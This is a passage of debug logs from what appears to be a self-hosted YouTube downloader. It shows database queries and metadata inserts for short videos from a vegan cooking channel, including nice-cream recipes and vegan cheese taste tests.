"not_live", "original_url" => "https://www.youtube.com/shorts/_kM80bDso5Q", "playlist_index" => 264, "timestamp" => 1660682700, "title" => "Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts", "upload_date" => "20220816"} 20:27:36.146 [debug] QUERY OK source="sources" db=0.9ms queue=0.4ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:36.148 [debug] QUERY OK source="sources" db=0.8ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:36.150 [debug] QUERY OK source="media_items" db=2.3ms idle=4.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-16 20:45:00Z], 1] 20:27:36.152 [debug] QUERY OK source="media_items" db=1.1ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out our reactions in our full taste test and review video of the best vegan cheeses, live on the channel. We had a ton of fun and laughs coming up with all kinds of cheesy lines while we reviewed these vegan cheeses. Hope you enjoy the full video below...\n\nFull Taste Test Video Here: https://youtu.be/lgPeexeqpJw", "Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts", "cba270c9-3767-4a90-9117-3ff844f50628", 1, [], 15, false, "_kM80bDso5Q", "https://www.youtube.com/shorts/_kM80bDso5Q", 264, "/downloads/downloads/alec/Steamy Vegan/2022-08-16 Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts/Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts [_kM80bDso5Q].NA", false, false, true, 2, ~U[2022-08-16 20:45:00Z], ~U[2026-03-22 03:27:36Z], ~U[2026-03-22 03:27:36Z], "Check out our reactions in our full taste test and review video of the best vegan cheeses, live on the channel. We had a ton of fun and laughs coming up with all kinds of cheesy lines while we reviewed these vegan cheeses. Hope you enjoy the full video below...\n\nFull Taste Test Video Here: https://youtu.be/lgPeexeqpJw", "Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts", 1, 15, false, "_kM80bDso5Q", "https://www.youtube.com/shorts/_kM80bDso5Q", "/downloads/downloads/alec/Steamy Vegan/2022-08-16 Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts/Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts [_kM80bDso5Q].NA", true, ~U[2022-08-16 20:45:00Z]] 20:27:36.152 [debug] QUERY OK source="sources" db=0.4ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:36.153 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:36.153 [debug] QUERY OK source="media_items" db=0.3ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [653] 20:27:36.154 [debug] Current batch of media processed. Will check again in 1000ms 20:27:37.155 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We just posted an in-depth review and taste test of the best vegan cheeses out there and had all kinds of cheesy fun. Here are just a few of the cheesy jokes that didn't make the main vegan cheese review video.\n\nFull Review VIdeo Here: https://youtu.be/lgPeexeqpJw\n\nIf you enjoy vegan and gf food recipes and review or taste test videos then you'll want to hit that subscribe button! Thanks for your support!", "duration" => 39, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-16 The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts/The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts [-rHRT4s4XPA].NA", "id" => "-rHRT4s4XPA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/-rHRT4s4XPA", "playlist_index" => 265, "timestamp" => 1660670100, "title" => "The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts", "upload_date" => "20220816"} 20:27:37.156 [debug] QUERY OK source="sources" db=0.4ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:37.157 [debug] QUERY OK source="sources" db=0.5ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:37.159 [debug] QUERY OK source="media_items" db=2.0ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-16 17:15:00Z], 1] 20:27:37.160 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We just posted an in-depth review and taste test of the best vegan cheeses out there and had all kinds of cheesy fun. Here are just a few of the cheesy jokes that didn't make the main vegan cheese review video.\n\nFull Review VIdeo Here: https://youtu.be/lgPeexeqpJw\n\nIf you enjoy vegan and gf food recipes and review or taste test videos then you'll want to hit that subscribe button! Thanks for your support!", "The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts", "b469bdde-4314-4ecc-bee1-733d1481b513", 1, [], 39, false, "-rHRT4s4XPA", "https://www.youtube.com/shorts/-rHRT4s4XPA", 265, "/downloads/downloads/alec/Steamy Vegan/2022-08-16 The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts/The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts [-rHRT4s4XPA].NA", false, false, true, 3, ~U[2022-08-16 17:15:00Z], ~U[2026-03-22 03:27:37Z], ~U[2026-03-22 03:27:37Z], "We just posted an in-depth review and taste test of the best vegan cheeses out there and had all kinds of cheesy fun. Here are just a few of the cheesy jokes that didn't make the main vegan cheese review video.\n\nFull Review VIdeo Here: https://youtu.be/lgPeexeqpJw\n\nIf you enjoy vegan and gf food recipes and review or taste test videos then you'll want to hit that subscribe button! Thanks for your support!", "The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts", 1, 39, false, "-rHRT4s4XPA", "https://www.youtube.com/shorts/-rHRT4s4XPA", "/downloads/downloads/alec/Steamy Vegan/2022-08-16 The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts/The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts [-rHRT4s4XPA].NA", true, ~U[2022-08-16 17:15:00Z]] 20:27:37.161 [debug] QUERY OK source="sources" db=0.5ms idle=951.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:37.161 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:37.162 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [654] 20:27:37.162 [debug] Current batch of media processed. Will check again in 1000ms 20:27:38.163 [debug] Current batch of media processed. Will check again in 1000ms 20:27:39.164 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "CHOCOLATE +!🍨 PEANUT BUTTER NICE CREAM! 🍫🍦🥜 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIf you're a chocolate and peanut butter lover, you're going to LOVE this recipe. I love making ‘nice cream’ on hot summer days ☀️ \nAll you need is:\n3 frozen bananas 🍌 — 1/4 cup nondairy milk — 1 tbsp maple syrup 🍁 to sweeten — 2 to 3 tbsp cocoa powder — 2 tbsp peanut butter — Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-13 EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients!/EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients! [vz3hA5XS00w].NA", "id" => "vz3hA5XS00w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/vz3hA5XS00w", "playlist_index" => 266, "timestamp" => 1660411129, "title" => "EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients!", "upload_date" => "20220813"} 20:27:39.165 [debug] QUERY OK source="sources" db=0.6ms idle=951.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:39.166 [debug] QUERY OK source="sources" db=0.2ms idle=582.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:39.168 [debug] QUERY OK source="media_items" db=2.0ms idle=582.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-13 17:18:49Z], 1] 20:27:39.175 [debug] QUERY OK source="media_items" db=7.0ms idle=585.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["CHOCOLATE +!🍨 PEANUT BUTTER NICE CREAM! 🍫🍦🥜 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIf you're a chocolate and peanut butter lover, you're going to LOVE this recipe. I love making ‘nice cream’ on hot summer days ☀️ \nAll you need is:\n3 frozen bananas 🍌 — 1/4 cup nondairy milk — 1 tbsp maple syrup 🍁 to sweeten — 2 to 3 tbsp cocoa powder — 2 tbsp peanut butter — Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients!", "e85d8fa2-b3d5-4afd-bd29-676d0e9475c2", 1, [], 15, false, "vz3hA5XS00w", "https://www.youtube.com/shorts/vz3hA5XS00w", 266, "/downloads/downloads/alec/Steamy Vegan/2022-08-13 EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients!/EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients! [vz3hA5XS00w].NA", false, false, true, 0, ~U[2022-08-13 17:18:49Z], ~U[2026-03-22 03:27:39Z], ~U[2026-03-22 03:27:39Z], "CHOCOLATE +!🍨 PEANUT BUTTER NICE CREAM! 🍫🍦🥜 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIf you're a chocolate and peanut butter lover, you're going to LOVE this recipe. I love making ‘nice cream’ on hot summer days ☀️ \nAll you need is:\n3 frozen bananas 🍌 — 1/4 cup nondairy milk — 1 tbsp maple syrup 🍁 to sweeten — 2 to 3 tbsp cocoa powder — 2 tbsp peanut butter — Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients!", 1, 15, false, "vz3hA5XS00w", "https://www.youtube.com/shorts/vz3hA5XS00w", "/downloads/downloads/alec/Steamy Vegan/2022-08-13 EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients!/EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients! [vz3hA5XS00w].NA", true, ~U[2022-08-13 17:18:49Z]] 20:27:39.176 [debug] QUERY OK source="sources" db=0.4ms idle=592.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:39.177 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=11.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:39.178 [debug] QUERY OK source="media_items" db=0.4ms idle=11.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [655] 20:27:39.178 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PIÑA COLADA BANANA NICE CREAM!🍨 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIf you're a fruity desserts lover who is aaaaalll about the tropical summer vibes, then you'll definitely want to make this dessert! I love making ‘nice cream’ on hot summer days ☀️ \nAll you need is:\n3 frozen bananas 🍌 — 1 cup frozen pineapple 🍍 — splash of coconut milk — maple syrup 🍁 to sweeten! Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video that dropped TODAY on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-12 EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients!/EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients! [c1m45pxs2GQ].NA", "id" => "c1m45pxs2GQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/c1m45pxs2GQ", "playlist_index" => 267, "timestamp" => 1660319403, "title" => "EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients!", "upload_date" => "20220812"} 20:27:39.179 [debug] QUERY OK source="sources" db=1.0ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:39.180 [debug] QUERY OK source="sources" db=0.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:39.181 [debug] QUERY OK source="media_items" db=1.5ms idle=3.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-12 15:50:03Z], 1] 20:27:39.184 [debug] QUERY OK source="media_items" db=2.0ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["PIÑA COLADA BANANA NICE CREAM!🍨 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIf you're a fruity desserts lover who is aaaaalll about the tropical summer vibes, then you'll definitely want to make this dessert! I love making ‘nice cream’ on hot summer days ☀️ \nAll you need is:\n3 frozen bananas 🍌 — 1 cup frozen pineapple 🍍 — splash of coconut milk — maple syrup 🍁 to sweeten! Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video that dropped TODAY on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients!", "6182abf3-95c4-4344-9ecb-3d90bb854f51", 1, [], 15, false, "c1m45pxs2GQ", "https://www.youtube.com/shorts/c1m45pxs2GQ", 267, "/downloads/downloads/alec/Steamy Vegan/2022-08-12 EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients!/EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients! [c1m45pxs2GQ].NA", false, false, true, 0, ~U[2022-08-12 15:50:03Z], ~U[2026-03-22 03:27:39Z], ~U[2026-03-22 03:27:39Z], "PIÑA COLADA BANANA NICE CREAM!🍨 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIf you're a fruity desserts lover who is aaaaalll about the tropical summer vibes, then you'll definitely want to make this dessert! I love making ‘nice cream’ on hot summer days ☀️ \nAll you need is:\n3 frozen bananas 🍌 — 1 cup frozen pineapple 🍍 — splash of coconut milk — maple syrup 🍁 to sweeten! Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video that dropped TODAY on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients!", 1, 15, false, "c1m45pxs2GQ", "https://www.youtube.com/shorts/c1m45pxs2GQ", "/downloads/downloads/alec/Steamy Vegan/2022-08-12 EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients!/EASY Piña Colada Banana Nice Cream Recipe! 